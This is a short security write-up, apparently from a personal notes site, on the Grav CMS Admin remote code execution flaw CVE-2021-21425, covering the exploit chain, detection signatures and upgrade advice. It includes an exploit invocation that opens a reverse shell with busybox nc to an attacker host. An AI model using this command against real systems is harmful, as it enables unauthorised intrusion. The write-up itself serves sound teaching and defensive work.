the_open_door
coffee
ESEN
← Back to index

Grav CMS Admin RCE (CVE-2021-21425)

CVE-2021-21425 is an arbitrary YAML write/update in the Admin plugin of Grav CMS (versions up to 1.10.7) that leads to command execution. Grav is a flat-file CMS written in PHP: it uses no database and stores content and configuration in YAML files. The admin panel exposes a task (task:getNewsFeed / the backups and scheduler API) that lets an attacker inject server-side configuration without the proper checks.

The abuse chains two pieces: first it writes an entry into the Scheduler configuration (a job whose command we control) and then triggers its execution. The result is RCE as the web-server user (www-data). Public exploits automate the whole flow:

python3 exploit.py -c 'busybox nc <lhost> <lport> -e bash' -t http://<ip>/grav-admin

The exploit creates the file/task ("Creating File", "Scheduled task created"), waits for the trigger and returns a reverse shell. Because Grav schedules the task, there is usually about one minute of wait between sending it and the inbound connection.

How you get there. Just fingerprint the version: the footer or source gives away "Grav", and searchsploit gravcms lists the entry for 1.10.7. Some exploits require panel credentials (hence the "authenticated" variants), but the arbitrary YAML write path can be reached unauthenticated depending on the configuration. At its core it is a command injection through a configuration field the server executes, in the same vein as other web RCEs.

How to detect it. The abuse leaves two trails. In the application, a POST to the Admin panel task that writes to the Scheduler configuration (a new job entry in the config/user YAML, detectable with a FIM over Grav's .yaml files). On the host, Grav's scheduler process (the cron php) spawning nc/bash/busybox as a child, with the characteristic ~1 minute delay between the request and the outbound connection. That wait between the POST and the reverse shell is an unusual temporal signature.

Defence. Upgrade Grav and the Admin plugin above 1.10.7, restrict admin-panel access by IP or VPN and apply least privilege to the web-server account.

Machines where it's used